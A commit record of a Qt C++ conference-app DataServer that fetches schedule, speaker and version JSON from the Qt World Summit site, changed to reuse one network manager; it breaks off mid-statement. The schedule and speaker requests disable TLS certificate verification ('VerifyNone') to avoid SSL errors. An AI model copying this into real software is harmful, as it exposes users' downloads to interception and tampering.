{"text":"<commit_before>#include \"dataserver.hpp\"\n\n#include <QSslConfiguration>\n\nDataServer::DataServer(QObject *parent) : QObject(parent)\n{\n    \/\/\n}\n\nDataServer::~DataServer()\n{\n    \/\/\n}\n\n\/**\n * init - called from starting the APP\n *\/\nvoid DataServer::init(DataManager *dataManager)\n{\n    mDataManager = dataManager;\n\n    \/\/ workaround bug iOS - cannot reuse QNetworkAccessManager QTBUG-49751\n    \/\/ otherwise accessibility not detected if switch off and on again\n    \/\/ mNetworkAccessManager = new QNetworkAccessManager(this);\n\n    \/\/ ONLINE, OFFLINE, HUNGRY\n    \/\/ get this from settings:\n    mUseOnlineStableTimer = true;\n    mOnlineStateCollectorInterval = 500;\n    mOnlineStableTimerInterval = 2*60*1000; \/\/ 2 minutes\n\n    bool connectResult = false;\n\n    \/\/ ATTENTION problem on iOS to get correct isOnline from QNetworkConfigurationManager:\n    \/\/ https:\/\/bugreports.qt.io\/browse\/QTBUG-56151\n    \/\/ https:\/\/bugreports.qt.io\/browse\/QTBUG-58946\n    \/\/ so even in airplane mode  isOnline reports true\n    \/\/ so we' added're using iOS Reachability classes instead\n#if defined (Q_OS_IOS)\n    mCurrentIsOnline = status() != utility::NotReachable;\n    qDebug() << \"I O S  REACHABILITY: INIT IS   O N L I N E ?\" << mCurrentIsOnline;\n#else\n    mNetworkConfigManager = new QNetworkConfigurationManager(this);\n    mCurrentIsOnline = mNetworkConfigManager->isOnline();\n    qDebug() << \"INIT IS   O N L I N E ?\" << mCurrentIsOnline;\n    connectResult = connect(mNetworkConfigManager, SIGNAL(onlineStateChanged(bool)), this, SLOT(onOnlineStateChanged(bool)));\n    Q_ASSERT(connectResult);\n#endif\n\n    \/\/ to avoid too short on-off-cycles\n    \/\/ coming back from suspended all collected signals\n    \/\/ fired by QNetworkConfigurationManager\n    \/\/ this timer waits short time before emitting signal onlineChanged\n    mOnlineStateCollector = new QTimer(this);\n    mOnlineStateCollector->setSingleShot(true);\n    mOnlineStateCollector->setInterval(mOnlineStateCollectorInterval);\n\n    mIsHungry = false;\n    if(mUseOnlineStableTimer) {\n        mOnlineStableTimer = new QTimer(this);\n        mOnlineStableTimer->setSingleShot(true);\n        \/\/ 2 minutes\n        mOnlineStableTimer->setInterval(mOnlineStableTimerInterval);\n        if(mCurrentIsOnline) {\n            mOnlineStableTimer->start();\n        }\n    }\n\n    connectResult = connect(mOnlineStateCollector, SIGNAL(timeout()), this, SLOT(onOnlineStateCollected()));\n    Q_ASSERT(connectResult);\n\n    if(mUseOnlineStableTimer) {\n        connectResult = connect(mOnlineStableTimer, SIGNAL(timeout()), this, SLOT(onOnlineStableConnection()));\n        Q_ASSERT(connectResult);\n    }\n\n    Q_UNUSED(connectResult)\n\n\n    qDebug() << \"Data Server INIT done\";\n}\n\n\/\/ get the current state\nbool DataServer::isOnline()\n{\n    return mCurrentIsOnline;\n}\n\nbool DataServer::serverIsHungry()\n{\n    return mIsHungry;\n}\n\n\/\/ Network Info INVOKABLE used in TitleBar onlineButton\n\/\/ see https:\/\/bugreports.qt.io\/browse\/QTBUG-56151\nQString DataServer::networkInfo()\n{\n    QString networkInfo;\n    networkInfo.append(\"Online: \");\n    if(mCurrentIsOnline) {\n        networkInfo.append(tr(\"YES\\n\"));\n    } else {\n        networkInfo.append(tr(\"NO\\n\"));\n    }\n#if defined (Q_OS_IOS)\n    \/\/ active network configurations are confusing\n    \/\/ under iOS \"utun0\" and \"en2\" are reported active even in airplane mode\n    \/\/ so we don't use QNetworkConfigurationManager for iOS\n    switch (status()) {\n    case utility::NotReachable:\n        networkInfo.append(tr(\"Internet not reachable\"));\n        break;\n    case utility::ReachableViaWiFi:\n        networkInfo.append(tr(\"WiFi internet connection\"));\n        break;\n    case utility::ReachableViaWWAN:\n        networkInfo.append(tr(\"mobile data internet connection\"));\n        break;\n\/\/  could be removed because all possible values are covered\n\/\/  default:\n\/\/      break;\n    }\n#else\n    QString activeNetworkConfigNames;\n    QList<QNetworkConfiguration> activeConfigs = mNetworkConfigManager->allConfigurations(QNetworkConfiguration::Active);\n    for (int i = 0; i < activeConfigs.size(); ++i) {\n        QNetworkConfiguration config = activeConfigs.at(i);\n        if(!activeNetworkConfigNames.isEmpty()) {\n            activeNetworkConfigNames.append(\" | \");\n        }\n        if(config.bearerTypeName() == \"Unknown\") {\n            activeNetworkConfigNames.append(\"?? \");\n        } else {\n            activeNetworkConfigNames.append(config.bearerTypeName());\n        }\n        activeNetworkConfigNames.append(\":\").append(config.name());\n    } \/\/ all active configurations\n    networkInfo.append(\"Active: \");\n    networkInfo.append(activeNetworkConfigNames).append(\"\\n\");\n    networkInfo.append(\"Default: \").append(mNetworkConfigManager->defaultConfiguration().name());\n\n    if(activeNetworkConfigNames.isEmpty()) {\n        networkInfo.append(\"\\n\").append(tr(\"no network connection - WIFI On ?\"));\n    }\n#endif\n    \/\/ ad more infos from configurations\n    \/\/ or add infos about running requests, last action done, ...\n    return networkInfo;\n}\n\n\/\/ SLOT\n\/\/ for some ms no new SIGNAL collected\n\/\/ now we can inform UI if different from last state\n\/\/ if stableTimer is used, also watch if offline \/ online\nvoid DataServer::onOnlineStateCollected() {\n    if(mCurrentIsOnline != mNewestIsOnline) {\n        mCurrentIsOnline = mNewestIsOnline;\n        qDebug() << \"NEW ONLINE STATE: \" << mCurrentIsOnline;\n        emit onlineChanged(mCurrentIsOnline);\n        if(mUseOnlineStableTimer) {\n            if(!mCurrentIsOnline) {\n                \/\/ stop mOnlineStableTimer if offline\n                mOnlineStableTimer->stop();\n                mIsHungry = false;\n            } else {\n                \/\/ if online start mOnlineStableTimer if not already running\n                if(!mOnlineStableTimer->isActive()) {\n                    mOnlineStableTimer->start();\n                }\n            }\n        }\n    }\n}\n\n\/\/ SLOT\n\/\/ waits 2 minutes stable online connection\n\/\/ before emitting SIGNAL that server is now hungry\n\/\/ to do heavy work (downloads, uploads)\nvoid DataServer::onOnlineStableConnection() {\n    qDebug() << \"SERVER H U N G R Y\";\n    mIsHungry = true;\n    emit serverIsHungryForHeavyWork();\n    \/\/ do something - per ex process server queue\n}\n\n\/\/ Signal coming from QNetworkConfigurationManager\nvoid DataServer::onOnlineStateChanged(bool isOnline)\n{\n    mNewestIsOnline = isOnline;\n    \/\/ always restart Collector (Timer)\n    mOnlineStateCollector->start();\n    if(isOnline) {\n        qDebug() << \"collect: O N\";\n    } else {\n        qDebug() << \"collect: O F F\";\n    }\n}\n\n#if defined (Q_OS_IOS)\nvoid DataServer::statusChanged(utility::NetworkStatus newStatus)\n{\n    if (newStatus == utility::NotReachable) {\n        qDebug(\"I O S   REACHABILITY: OFFLINE\");\n        onOnlineStateChanged(false);\n    } else {\n        onOnlineStateChanged(true);\n        qDebug(\"I O S   REACHABILITY: ONLINE\");\n    }\n}\n#endif\n\n\/\/ ONLINE end\n\n\nvoid DataServer::setConferenceDataPath(const QString &conferenceDataPath)\n{\n    mConferenceDataPath = conferenceDataPath;\n    qDebug() << \"Conference Data path: \" << mConferenceDataPath;\n}\n\nvoid DataServer::requestSchedule(const int conferenceId)\n{\n    \/\/ workaround bug iOS - cannot reuse QNetworkAccessManager QTBUG-49751\n    \/\/ otherwise accessibility not detected if switch off and on again\n    QNetworkAccessManager* networkAccessManager = new QNetworkAccessManager(this);\n    if(networkAccessManager->networkAccessible() != QNetworkAccessManager::Accessible) {\n        if(networkAccessManager->networkAccessible() == QNetworkAccessManager::NotAccessible) {\n            qDebug() << \"requestSchedule NO ACCESS TO NETWORK\";\n            emit serverFailed(tr(\"No Network Access\"));\n            return;\n        }\n        qDebug() << \"requestSchedule NO ACCESS: The network accessibility cannot be determined.\";\n        emit serverFailed(tr(\"No Network Access\"));\n        return;\n    }\n\n    QString uri;\n    \/\/ uri = \"https:\/\/conf.qtcon.org\/en\/qtcon\/public\/schedule.json\";\n    \/\/ uri = \"http:\/\/www.qtworldsummit.com\/api\/schedule\/all\/\";\n    if(conferenceId == 201901) {\n        uri = \"https:\/\/www.qtworldsummit.com\/2019\/api\/schedule\/all\/?location=Berlin\";\n    } else {\n        uri = \"https:\/\/www.qtworldsummit.com\/2019\/api\/schedule\/all\/?location=Tokyo_en\";\n    }\n\n    qDebug() << \"requestSchedule uri:\" << uri;\n\n    QNetworkRequest request(uri);\n    QByteArray ba = QString::number(conferenceId).toUtf8();\n    request.setRawHeader(\"CONFERENCE_ID\", ba);\n\n    \/\/ to avoid ssl errors:\n    QSslConfiguration conf = request.sslConfiguration();\n    conf.setPeerVerifyMode(QSslSocket::VerifyNone);\n    request.setSslConfiguration(conf);\n\n    QNetworkReply* reply = networkAccessManager->get(request);\n    bool connectResult = connect(reply, SIGNAL(finished()), this, SLOT(onFinishedSchedule()));\n    Q_ASSERT(connectResult);\n    Q_UNUSED(connectResult)\n}\n\nvoid DataServer::requestVersion()\n{\n    \/\/ workaround bug iOS - cannot reuse QNetworkAccessManager QTBUG-49751\n    \/\/ otherwise accessibility not detected if switch off and on again\n    QNetworkAccessManager* networkAccessManager = new QNetworkAccessManager(this);\n    if(networkAccessManager->networkAccessible() != QNetworkAccessManager::Accessible) {\n        if(networkAccessManager->networkAccessible() == QNetworkAccessManager::NotAccessible) {\n            qDebug() << \"requestVersion NO ACCESS TO NETWORK\";\n            emit versionFailed(tr(\"No Network Access\"));\n            return;\n        }\n        qDebug() << \"requestVersion NO ACCESS: The network accessibility cannot be determined.\";\n        emit versionFailed(tr(\"No Network Access\"));\n        return;\n    }\n\n    QString uri;\n    \/\/ uri = \"https:\/\/conf.qtcon.org\/en\/qtcon\/public\/schedule\/version.json\";\n    \/\/ uri = \"http:\/\/www.qtworldsummit.com\/api\/version\/show\/\";\n    uri = \"https:\/\/www.qtworldsummit.com\/2019\/api\/version\/show\/\";\n    qDebug() << \"requestVersion uri:\" << uri;\n\n    QNetworkRequest request(uri);\n\n    \/\/ to avoid ssl errors:\n\/\/    QSslConfiguration conf = request.sslConfiguration();\n\/\/    conf.setPeerVerifyMode(QSslSocket::VerifyNone);\n\/\/    request.setSslConfiguration(conf);\n\n    QNetworkReply* reply = networkAccessManager->get(request);\n    bool connectResult = connect(reply, SIGNAL(finished()), this, SLOT(onFinishedVersion()));\n    Q_ASSERT(connectResult);\n    Q_UNUSED(connectResult)\n}\n\nvoid DataServer::requestSpeaker()\n{\n    \/\/ workaround bug iOS - cannot reuse QNetworkAccessManager QTBUG-49751\n    \/\/ otherwise accessibility not detected if switch off and on again\n    QNetworkAccessManager* networkAccessManager = new QNetworkAccessManager(this);\n    if(networkAccessManager->networkAccessible() != QNetworkAccessManager::Accessible) {\n        if(networkAccessManager->networkAccessible() == QNetworkAccessManager::NotAccessible) {\n            qDebug() << \"requestSpeaker NO ACCESS TO NETWORK\";\n            emit serverFailed(tr(\"No Network Access\"));\n            return;\n        }\n        qDebug() << \"requestSpeaker NO ACCESS: The network accessibility cannot be determined.\";\n        emit serverFailed(tr(\"No Network Access\"));\n        return;\n    }\n\n    QString uri;\n    \/\/ uri = \"https:\/\/conf.qtcon.org\/en\/qtcon\/public\/speakers.json\";\n    \/\/ uri = \"http:\/\/www.qtworldsummit.com\/api\/speakers\/all\/\";\n    uri = \"https:\/\/www.qtworldsummit.com\/2019\/api\/speakers\/all\/\";\n    qDebug() << \"requestSpeaker uri:\" << uri;\n\n    QNetworkRequest request(uri);\n\n    \/\/ to avoid ssl errors:\n    QSslConfiguration conf = request.sslConfiguration();\n    conf.setPeerVerifyMode(QSslSocket::VerifyNone);\n    request.setSslConfiguration(conf);\n\n    QNetworkReply* reply = networkAccessManager->get(request);\n    bool connectResult = connect(reply, SIGNAL(finished()), this, SLOT(onFinishedSpeaker()));\n    Q_ASSERT(connectResult);\n    Q_UNUSED(connectResult)\n}\n\n\/\/ SLOTS\nvoid DataServer::onFinishedSchedule()\n{\n    QNetworkReply* reply = qobject_cast<QNetworkReply*>(sender());\n    if(!reply) {\n        qWarning() << \"Schedule REPLY is NULL\";\n        emit serverFailed(tr(\"No Network Reply\"));\n        return;\n    }\n    const qint64 available = reply->bytesAvailable();\n    if(available == 0) {\n        qWarning() << \"Schedule: No Bytes received\";\n        emit serverFailed(tr(\"No Schedule Data received\"));\n        return;\n    }\n    int httpStatusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();\n    qDebug() << \"schedule HTTP STATUS: \" << httpStatusCode << \" Bytes: \" << available;\n    if(httpStatusCode != 200) {\n        qDebug() << \"Schedule Status Code not 200\";\n        emit serverFailed(tr(\"No sucess getting Schedule from Server. Got HTTP Status \")+QString::number(httpStatusCode));\n        return;\n    }\n    \/\/ more schedules this year ?\n    QByteArray ba = reply->request().rawHeader(\"CONFERENCE_ID\");\n    QString conferenceString = QString::fromUtf8(ba);\n\n    QString scheduleFilePath = mConferenceDataPath+\"schedule_\"+conferenceString+\".json\";\n    QFile saveFile(scheduleFilePath);\n    if (!saveFile.open(QIODevice::WriteOnly)) {\n        qWarning() << \"Couldn't open file to write \" << scheduleFilePath;\n        emit serverFailed(tr(\"Schedule Data cannot be written\"));\n        return;\n    }\n    qint64 bytesWritten = saveFile.write(reply->readAll());\n    saveFile.close();\n    qDebug() << \"Schedule Data Bytes written: \" << bytesWritten << \" to: \" << scheduleFilePath;\n\n    \/\/ more schedules this year ?\n    int conferenceId = conferenceString.toInt();\n    if(conferenceId == 201901) {\n        requestSchedule(201902);\n        return;\n    }\n\n    \/\/ now getting the speaker data\n    requestSpeaker();\n}\n\nvoid DataServer::onFinishedSpeaker()\n{\n    QNetworkReply* reply = qobject_cast<QNetworkReply*>(sender());\n    if(!reply) {\n        qWarning() << \"Speaker REPLY is NULL\";\n        emit serverFailed(tr(\"No Network Reply\"));\n        return;\n    }\n    const qint64 available = reply->bytesAvailable();\n    if(available == 0) {\n        qWarning() << \"Speaker No Bytes received\";\n        emit serverFailed(tr(\"No Speaker Data received\"));\n        return;\n    }\n    int httpStatusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();\n    qDebug() << \"Speaker HTTP STATUS: \" << httpStatusCode << \" Bytes: \" << available;\n    if(httpStatusCode != 200) {\n        qDebug() << \"Speaker Status Code not 200\";\n        emit serverFailed(tr(\"No sucess getting Speaker from Server. Got HTTP Status \")+QString::number(httpStatusCode));\n        return;\n    }\n    QString speakerFilePath = mConferenceDataPath+\"speaker.json\";\n    QFile saveFile(speakerFilePath);\n    if (!saveFile.open(QIODevice::WriteOnly)) {\n        qWarning() << \"Couldn't open file to write \" << speakerFilePath;\n        emit serverFailed(tr(\"Speaker Data cannot be written\"));\n        return;\n    }\n    qint64 bytesWritten = saveFile.write(reply->readAll());\n    saveFile.close();\n    qDebug() << \"Data Bytes written: \" << bytesWritten << \" to: \" << speakerFilePath;\n\n    emit serverSuccess();\n}\n\nvoid DataServer::onFinishedVersion()\n{\n    QNetworkReply* reply = qobject_cast<QNetworkReply*>(sender());\n    if(!reply) {\n        qWarning() << \"Version REPLY is NULL\";\n        emit versionFailed(tr(\"No Network Reply\"));\n        return;\n    }\n    const qint64 available = reply->bytesAvailable();\n    if(available == 0) {\n        qWarning() << \"Version No Bytes received\";\n        emit versionFailed(tr(\"No Version Data received\"));\n        return;\n    }\n    int httpStatusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();\n    qDebug() << \"Version HTTP STATUS: \" << httpStatusCode << \" Bytes: \" << available;\n    if(httpStatusCode != 200) {\n        qDebug() << \"Version Status Code not 200\";\n        emit versionFailed(tr(\"No sucess getting Version from Server. Got HTTP Status \")+QString::number(httpStatusCode));\n        return;\n    }\n    emit versionSuccess(reply->readAll());\n}\n\n\n<commit_msg>removed workaround QNAM bug<commit_after>#include \"dataserver.hpp\"\n\n#include <QSslConfiguration>\n\nDataServer::DataServer(QObject *parent) : QObject(parent)\n{\n    \/\/\n}\n\nDataServer::~DataServer()\n{\n    \/\/\n}\n\n\/**\n * init - called from starting the APP\n *\/\nvoid DataServer::init(DataManager *dataManager)\n{\n    mDataManager = dataManager;\n\n    mNetworkAccessManager = new QNetworkAccessManager(this);\n\n    \/\/ ONLINE, OFFLINE, HUNGRY\n    \/\/ get this from settings:\n    mUseOnlineStableTimer = true;\n    mOnlineStateCollectorInterval = 500;\n    mOnlineStableTimerInterval = 2*60*1000; \/\/ 2 minutes\n\n    bool connectResult = false;\n\n    \/\/ ATTENTION problem on iOS to get correct isOnline from QNetworkConfigurationManager:\n    \/\/ https:\/\/bugreports.qt.io\/browse\/QTBUG-56151\n    \/\/ https:\/\/bugreports.qt.io\/browse\/QTBUG-58946\n    \/\/ so even in airplane mode  isOnline reports true\n    \/\/ so we' added're using iOS Reachability classes instead\n#if defined (Q_OS_IOS)\n    mCurrentIsOnline = status() != utility::NotReachable;\n    qDebug() << \"I O S  REACHABILITY: INIT IS   O N L I N E ?\" << mCurrentIsOnline;\n#else\n    mNetworkConfigManager = new QNetworkConfigurationManager(this);\n    mCurrentIsOnline = mNetworkConfigManager->isOnline();\n    qDebug() << \"INIT IS   O N L I N E ?\" << mCurrentIsOnline;\n    connectResult = connect(mNetworkConfigManager, SIGNAL(onlineStateChanged(bool)), this, SLOT(onOnlineStateChanged(bool)));\n    Q_ASSERT(connectResult);\n#endif\n\n    \/\/ to avoid too short on-off-cycles\n    \/\/ coming back from suspended all collected signals\n    \/\/ fired by QNetworkConfigurationManager\n    \/\/ this timer waits short time before emitting signal onlineChanged\n    mOnlineStateCollector = new QTimer(this);\n    mOnlineStateCollector->setSingleShot(true);\n    mOnlineStateCollector->setInterval(mOnlineStateCollectorInterval);\n\n    mIsHungry = false;\n    if(mUseOnlineStableTimer) {\n        mOnlineStableTimer = new QTimer(this);\n        mOnlineStableTimer->setSingleShot(true);\n        \/\/ 2 minutes\n        mOnlineStableTimer->setInterval(mOnlineStableTimerInterval);\n        if(mCurrentIsOnline) {\n            mOnlineStableTimer->start();\n        }\n    }\n\n    connectResult = connect(mOnlineStateCollector, SIGNAL(timeout()), this, SLOT(onOnlineStateCollected()));\n    Q_ASSERT(connectResult);\n\n    if(mUseOnlineStableTimer) {\n        connectResult = connect(mOnlineStableTimer, SIGNAL(timeout()), this, SLOT(onOnlineStableConnection()));\n        Q_ASSERT(connectResult);\n    }\n\n    Q_UNUSED(connectResult)\n\n\n    qDebug() << \"Data Server INIT done\";\n}\n\n\/\/ get the current state\nbool DataServer::isOnline()\n{\n    return mCurrentIsOnline;\n}\n\nbool DataServer::serverIsHungry()\n{\n    return mIsHungry;\n}\n\n\/\/ Network Info INVOKABLE used in TitleBar onlineButton\n\/\/ see https:\/\/bugreports.qt.io\/browse\/QTBUG-56151\nQString DataServer::networkInfo()\n{\n    QString networkInfo;\n    networkInfo.append(\"Online: \");\n    if(mCurrentIsOnline) {\n        networkInfo.append(tr(\"YES\\n\"));\n    } else {\n        networkInfo.append(tr(\"NO\\n\"));\n    }\n#if defined (Q_OS_IOS)\n    \/\/ active network configurations are confusing\n    \/\/ under iOS \"utun0\" and \"en2\" are reported active even in airplane mode\n    \/\/ so we don't use QNetworkConfigurationManager for iOS\n    switch (status()) {\n    case utility::NotReachable:\n        networkInfo.append(tr(\"Internet not reachable\"));\n        break;\n    case utility::ReachableViaWiFi:\n        networkInfo.append(tr(\"WiFi internet connection\"));\n        break;\n    case utility::ReachableViaWWAN:\n        networkInfo.append(tr(\"mobile data internet connection\"));\n        break;\n\/\/  could be removed because all possible values are covered\n\/\/  default:\n\/\/      break;\n    }\n#else\n    QString activeNetworkConfigNames;\n    QList<QNetworkConfiguration> activeConfigs = mNetworkConfigManager->allConfigurations(QNetworkConfiguration::Active);\n    for (int i = 0; i < activeConfigs.size(); ++i) {\n        QNetworkConfiguration config = activeConfigs.at(i);\n        if(!activeNetworkConfigNames.isEmpty()) {\n            activeNetworkConfigNames.append(\" | \");\n        }\n        if(config.bearerTypeName() == \"Unknown\") {\n            activeNetworkConfigNames.append(\"?? \");\n        } else {\n            activeNetworkConfigNames.append(config.bearerTypeName());\n        }\n        activeNetworkConfigNames.append(\":\").append(config.name());\n    } \/\/ all active configurations\n    networkInfo.append(\"Active: \");\n    networkInfo.append(activeNetworkConfigNames).append(\"\\n\");\n    networkInfo.append(\"Default: \").append(mNetworkConfigManager->defaultConfiguration().name());\n\n    if(activeNetworkConfigNames.isEmpty()) {\n        networkInfo.append(\"\\n\").append(tr(\"no network connection - WIFI On ?\"));\n    }\n#endif\n    \/\/ ad more infos from configurations\n    \/\/ or add infos about running requests, last action done, ...\n    return networkInfo;\n}\n\n\/\/ SLOT\n\/\/ for some ms no new SIGNAL collected\n\/\/ now we can inform UI if different from last state\n\/\/ if stableTimer is used, also watch if offline \/ online\nvoid DataServer::onOnlineStateCollected() {\n    if(mCurrentIsOnline != mNewestIsOnline) {\n        mCurrentIsOnline = mNewestIsOnline;\n        qDebug() << \"NEW ONLINE STATE: \" << mCurrentIsOnline;\n        emit onlineChanged(mCurrentIsOnline);\n        if(mUseOnlineStableTimer) {\n            if(!mCurrentIsOnline) {\n                \/\/ stop mOnlineStableTimer if offline\n                mOnlineStableTimer->stop();\n                mIsHungry = false;\n            } else {\n                \/\/ if online start mOnlineStableTimer if not already running\n                if(!mOnlineStableTimer->isActive()) {\n                    mOnlineStableTimer->start();\n                }\n            }\n        }\n    }\n}\n\n\/\/ SLOT\n\/\/ waits 2 minutes stable online connection\n\/\/ before emitting SIGNAL that server is now hungry\n\/\/ to do heavy work (downloads, uploads)\nvoid DataServer::onOnlineStableConnection() {\n    qDebug() << \"SERVER H U N G R Y\";\n    mIsHungry = true;\n    emit serverIsHungryForHeavyWork();\n    \/\/ do something - per ex process server queue\n}\n\n\/\/ Signal coming from QNetworkConfigurationManager\nvoid DataServer::onOnlineStateChanged(bool isOnline)\n{\n    mNewestIsOnline = isOnline;\n    \/\/ always restart Collector (Timer)\n    mOnlineStateCollector->start();\n    if(isOnline) {\n        qDebug() << \"collect: O N\";\n    } else {\n        qDebug() << \"collect: O F F\";\n    }\n}\n\n#if defined (Q_OS_IOS)\nvoid DataServer::statusChanged(utility::NetworkStatus newStatus)\n{\n    if (newStatus == utility::NotReachable) {\n        qDebug(\"I O S   REACHABILITY: OFFLINE\");\n        onOnlineStateChanged(false);\n    } else {\n        onOnlineStateChanged(true);\n        qDebug(\"I O S   REACHABILITY: ONLINE\");\n    }\n}\n#endif\n\n\/\/ ONLINE end\n\n\nvoid DataServer::setConferenceDataPath(const QString &conferenceDataPath)\n{\n    mConferenceDataPath = conferenceDataPath;\n    qDebug() << \"Conference Data path: \" << mConferenceDataPath;\n}\n\nvoid DataServer::requestSchedule(const int conferenceId)\n{\n    if(mNetworkAccessManager->networkAccessible() != QNetworkAccessManager::Accessible) {\n        if(mNetworkAccessManager->networkAccessible() == QNetworkAccessManager::NotAccessible) {\n            qDebug() << \"requestSchedule NO ACCESS TO NETWORK\";\n            emit serverFailed(tr(\"No Network Access\"));\n            return;\n        }\n        qDebug() << \"requestSchedule NO ACCESS: The network accessibility cannot be determined.\";\n        emit serverFailed(tr(\"No Network Access\"));\n        return;\n    }\n\n    QString uri;\n    \/\/ uri = \"https:\/\/conf.qtcon.org\/en\/qtcon\/public\/schedule.json\";\n    \/\/ uri = \"http:\/\/www.qtworldsummit.com\/api\/schedule\/all\/\";\n    if(conferenceId == 201901) {\n        uri = \"https:\/\/www.qtworldsummit.com\/2019\/api\/schedule\/all\/?location=Berlin\";\n    } else {\n        uri = \"https:\/\/www.qtworldsummit.com\/2019\/api\/schedule\/all\/?location=Tokyo_en\";\n    }\n\n    qDebug() << \"requestSchedule uri:\" << uri;\n\n    QNetworkRequest request(uri);\n    QByteArray ba = QString::number(conferenceId).toUtf8();\n    request.setRawHeader(\"CONFERENCE_ID\", ba);\n\n    \/\/ to avoid ssl errors:\n    QSslConfiguration conf = request.sslConfiguration();\n    conf.setPeerVerifyMode(QSslSocket::VerifyNone);\n    request.setSslConfiguration(conf);\n\n    QNetworkReply* reply = mNetworkAccessManager->get(request);\n    bool connectResult = connect(reply, SIGNAL(finished()), this, SLOT(onFinishedSchedule()));\n    Q_ASSERT(connectResult);\n    Q_UNUSED(connectResult)\n}\n\nvoid DataServer::requestVersion()\n{\n    if(mNetworkAccessManager->networkAccessible() != QNetworkAccessManager::Accessible) {\n        if(mNetworkAccessManager->networkAccessible() == QNetworkAccessManager::NotAccessible) {\n            qDebug() << \"requestVersion NO ACCESS TO NETWORK\";\n            emit versionFailed(tr(\"No Network Access\"));\n            return;\n        }\n        qDebug() << \"requestVersion NO ACCESS: The network accessibility cannot be determined.\";\n        emit versionFailed(tr(\"No Network Access\"));\n        return;\n    }\n\n    QString uri;\n    \/\/ uri = \"https:\/\/conf.qtcon.org\/en\/qtcon\/public\/schedule\/version.json\";\n    \/\/ uri = \"http:\/\/www.qtworldsummit.com\/api\/version\/show\/\";\n    uri = \"https:\/\/www.qtworldsummit.com\/2019\/api\/version\/show\/\";\n    qDebug() << \"requestVersion uri:\" << uri;\n\n    QNetworkRequest request(uri);\n\n    \/\/ to avoid ssl errors:\n\/\/    QSslConfiguration conf = request.sslConfiguration();\n\/\/    conf.setPeerVerifyMode(QSslSocket::VerifyNone);\n\/\/    request.setSslConfiguration(conf);\n\n    QNetworkReply* reply = mNetworkAccessManager->get(request);\n    bool connectResult = connect(reply, SIGNAL(finished()), this, SLOT(onFinishedVersion()));\n    Q_ASSERT(connectResult);\n    Q_UNUSED(connectResult)\n}\n\nvoid DataServer::requestSpeaker()\n{\n    if(mNetworkAccessManager->networkAccessible() != QNetworkAccessManager::Accessible) {\n        if(mNetworkAccessManager->networkAccessible() == QNetworkAccessManager::NotAccessible) {\n            qDebug() << \"requestSpeaker NO ACCESS TO NETWORK\";\n            emit serverFailed(tr(\"No Network Access\"));\n            return;\n        }\n        qDebug() << \"requestSpeaker NO ACCESS: The network accessibility cannot be determined.\";\n        emit serverFailed(tr(\"No Network Access\"));\n        return;\n    }\n\n    QString uri;\n    \/\/ uri = \"https:\/\/conf.qtcon.org\/en\/qtcon\/public\/speakers.json\";\n    \/\/ uri = \"http:\/\/www.qtworldsummit.com\/api\/speakers\/all\/\";\n    uri = \"https:\/\/www.qtworldsummit.com\/2019\/api\/speakers\/all\/\";\n    qDebug() << \"requestSpeaker uri:\" << uri;\n\n    QNetworkRequest request(uri);\n\n    \/\/ to avoid ssl errors:\n    QSslConfiguration conf = request.sslConfiguration();\n    conf.setPeerVerifyMode(QSslSocket::VerifyNone);\n    request.setSslConfiguration(conf);\n\n    QNetworkReply* reply = mNetworkAccessManager->get(request);\n    bool connectResult = connect(reply, SIGNAL(finished()), this, SLOT(onFinishedSpeaker()));\n    Q_ASSERT(connectResult);\n    Q_UNUSED(connectResult)\n}\n\n\/\/ SLOTS\nvoid DataServer::onFinishedSchedule()\n{\n    QNetworkReply* reply = qobject_cast<QNetworkReply*>(sender());\n    if(!reply) {\n        qWarning() << \"Schedule REPLY is NULL\";\n        emit serverFailed(tr(\"No Network Reply\"));\n        return;\n    }\n    const qint64 available = reply->bytesAvailable();\n    if(available == 0) {\n        qWarning() << \"Schedule: No Bytes received\";\n        emit serverFailed(tr(\"No Schedule Data received\"));\n        reply->deleteLater();\n        return;\n    }\n    int httpStatusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();\n    qDebug() << \"schedule HTTP STATUS: \" << httpStatusCode << \" Bytes: \" << available;\n    if(httpStatusCode != 200) {\n        qDebug() << \"Schedule Status Code not 200\";\n        emit serverFailed(tr(\"No sucess getting Schedule from Server. Got HTTP Status \")+QString::number(httpStatusCode));\n        reply->deleteLater();\n        return;\n    }\n    \/\/ more schedules this year ?\n    QByteArray ba = reply->request().rawHeader(\"CONFERENCE_ID\");\n    QString conferenceString = QString::fromUtf8(ba);\n\n    QString scheduleFilePath = mConferenceDataPath+\"schedule_\"+conferenceString+\".json\";\n    QFile saveFile(scheduleFilePath);\n    if (!saveFile.open(QIODevice::WriteOnly)) {\n        qWarning() << \"Couldn't open file to write \" << scheduleFilePath;\n        emit serverFailed(tr(\"Schedule Data cannot be written\"));\n        reply->deleteLater();\n        return;\n    }\n    qint64 bytesWritten = saveFile.write(reply->readAll());\n    saveFile.close();\n    qDebug() << \"Schedule Data Bytes written: \" << bytesWritten << \" to: \" << scheduleFilePath;\n\n    \/\/ more schedules this year ?\n    int conferenceId = conferenceString.toInt();\n    if(conferenceId == 201901) {\n        requestSchedule(201902);\n        reply->deleteLater();\n        return;\n    }\n\n    \/\/ now getting the speaker data\n    requestSpeaker();\n    reply->deleteLater();\n}\n\nvoid DataServer::onFinishedSpeaker()\n{\n    QNetworkReply* reply = qobject_cast<QNetworkReply*>(sender());\n    if(!reply) {\n        qWarning() << \"Speaker REPLY is NULL\";\n        emit serverFailed(tr(\"No Network Reply\"));\n        return;\n    }\n    const qint64 available = reply->bytesAvailable();\n    if(available == 0) {\n        qWarning() << \"Speaker No Bytes received\";\n        emit serverFailed(tr(\"No Speaker Data received\"));\n        reply->deleteLater();\n        return;\n    }\n    int httpStatusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();\n    qDebug() << \"Speaker HTTP STATUS: \" << httpStatusCode << \" Bytes: \" << available;\n    if(httpStatusCode != 200) {\n        qDebug() << \"Speaker Status Code not 200\";\n        emit serverFailed(tr(\"No sucess getting Speaker from Server. Got HTTP Status \")+QString::number(httpStatusCode));\n        reply->deleteLater();\n        return;\n    }\n    QString speakerFilePath = mConferenceDataPath+\"speaker.json\";\n    QFile saveFile(speakerFilePath);\n    if (!saveFile.open(QIODevice::WriteOnly)) {\n        qWarning() << \"Couldn't open file to write \" << speakerFilePath;\n        emit serverFailed(tr(\"Speaker Data cannot be written\"));\n        reply->deleteLater();\n        return;\n    }\n    qint64 bytesWritten = 